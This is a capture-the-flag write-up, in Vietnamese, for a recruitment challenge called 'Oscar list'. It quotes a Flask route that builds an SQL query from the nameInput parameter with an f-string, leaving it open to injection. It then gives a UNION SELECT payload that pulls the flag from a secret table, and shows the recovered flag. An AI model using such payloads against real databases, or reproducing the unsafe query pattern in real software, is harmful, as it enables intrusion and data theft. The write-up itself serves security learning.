Description

RecruitCTF - Oscar list

Approach

Mã nguồn xử lý request đến endpoint /:

# Route for index page
@app.route("/", methods=["GET"])
def index():
    year = request.args.get("yearInput")
    name = request.args.get("nameInput")
 
    conn = get_db_connection()
    cur = conn.cursor()
 
    if year:
        cur.execute("SELECT * FROM films WHERE year=?", (year,))
    elif name:
        cur.execute(f"SELECT * FROM films WHERE name='{name}'")
    else:
        cur.execute("SELECT * FROM films")
    data = cur.fetchall()
    conn.close()
 
    if data:
        return render_template("index.html", films=data)
    else:
        return render_template("index.html")

Có thể thấy, ta có thể thực hiện SQL injection đối với query param nameInput.

File init.sql có insert flag vào bảng secret:

-- Create table secret
CREATE TABLE IF NOT EXISTS secret (
  idx INTEGER PRIMARY KEY AUTOINCREMENT,
  flag TEXT NOT NULL
);
 
-- Insert data into secret
INSERT INTO secret (flag) VALUES ('BPCTF{fake-flag}');

Schema của bảng films:

-- Create table films
CREATE TABLE IF NOT EXISTS films (
  idx INTEGER PRIMARY KEY AUTOINCREMENT,
  name TEXT NOT NULL,
  year INTEGER NOT NULL,
  awards INTEGER NOT NULL,
  nominations INTEGER NOT NULL
);

Cột name có dạng text nên ta sẽ lấy ra giá trị của flag thông qua cột này.

Payload thực hiện:

 ' union select null,flag,null,null,null;--

Flag

Success

BPCTF{d0nt_4dd_4ll_7h3_f1lm5}